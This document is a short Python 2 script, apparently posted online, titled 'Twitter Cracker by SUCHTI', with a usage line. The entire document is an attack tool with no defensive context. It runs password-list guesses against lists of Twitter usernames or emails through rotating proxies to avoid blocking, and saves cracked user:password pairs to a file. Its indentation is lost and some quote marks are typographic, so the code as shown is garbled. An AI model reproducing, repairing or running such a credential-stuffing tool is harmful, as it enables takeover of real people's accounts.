Usage: ./script.py <user|email -list> <passwordlist> <big proxylist>
[py]
#!/usr/bin/env python
import urllib,sys
from hashlib import md5
if len(sys.argv) != 4:
print "Usage: ./TWCrack.py <user|email -list> <passwordlist> <big proxylist>"
sys.exit(0)
print "+–Twitter Cracker by SUCHTI–+"
try:
users = open(sys.argv[1],"r")
except:
print "Could not open: %s" % sys.argv[1]
sys.exit(0)
good = open("GOOD_TWITTER.txt","a")
good_cnt = 0
usr_cnt = 0
for user in users:
user = user.rstrip("\n").rstrip("\r")
print "Current User: %s " % user
try:
passw = open(sys.argv[2],"r")
except:
print "Could not open: %s" % sys.argv[2]
sys.exit(0)
try:
proxy = open(sys.argv[3],"r")
except:
print "Could not open: %s" % sys.argv[3]
sys.exit(0)
for pw in passw:
pw = pw.rstrip("\n").rstrip("\r")
print "Current: "+user+" : "+pw
try:
proxies = {"http" : ‚http://’+proxy.readline().rstrip("\n").rstrip("\r")}
params = urllib.urlencode({‚authenticity_token‘: ‚225252248f02824a001b‘, ‚username‘: user, ‚password‘: pw})
f = urllib.urlopen("https://mobile.twitter.com/session",params,proxies)
tmp = f.read()
f.close()
if md5(tmp).hexdigest() == "4c9affa6252fdb957ab1ada50b688b20":
good.write(user+":"+pw+"\n")
good.flush()
good_cnt = good_cnt + 1
break
except:
print "Connection Error… Make sure you have a filtered Proxylist!"
passw.close()
proxy.close()
usr_cnt = usr_cnt + 1
good.close()
users.close()
print "All Done!"
print "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+"
print str(good_cnt)+" of "+str(usr_cnt)+" Passwords found!"
print "USER:PASS written to GOOD_TWITTER.txt"
print "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+"
[/py]